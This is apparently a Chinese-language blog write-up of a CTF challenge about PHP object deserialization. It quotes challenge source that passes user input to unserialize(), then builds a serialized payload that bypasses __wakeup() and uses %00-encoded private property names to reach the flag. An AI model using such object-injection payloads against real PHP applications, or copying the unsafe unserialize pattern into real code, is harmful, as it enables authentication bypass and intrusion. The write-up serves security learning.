跳到主要内容

极客大挑战_2019 PHP


已读 0%
本篇目录
阅读设置
正文字号
18

设置仅保存在当前浏览器。

[极客大挑战 2019]PHP

页面提示我有一个良好的备份网站的习惯

找一个备份的字典扫扫网站目录

61ZBrD.png

下载这个压缩包www.zip

有几个文件

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

这里直接把用户输入交给 unserialize(),因此题目考的是 PHP 对象反序列化和魔术方法调用。

要输出 flag,需要最终进入 __destruct() 时满足 username === 'admin' 且 password == 100。

生成序列化

<?php
class Name{
    private $username='admin';
	private $password='100';
}

$a=new Name();

echo serialize($a);
?>
	
    
//得到O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

这道题依赖旧版 PHP 的历史反序列化行为:把序列化对象里声明的属性数量从 2 改大,旧环境下可以绕过 __wakeup(),随后仍会进入 __destruct()。这是旧版本特性/漏洞,现代 PHP 不能按这个结论直接套用。

O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}

这里不是“把空格换成 %00”。PHP 私有属性在序列化时的真实属性名是 \0类名\0属性名,其中 \0 是 NUL 字节;放进 URL 时通常写成 %00。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最终payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
赏
评论

评论将在接近此处时加载,也可点击立即加载。

  目录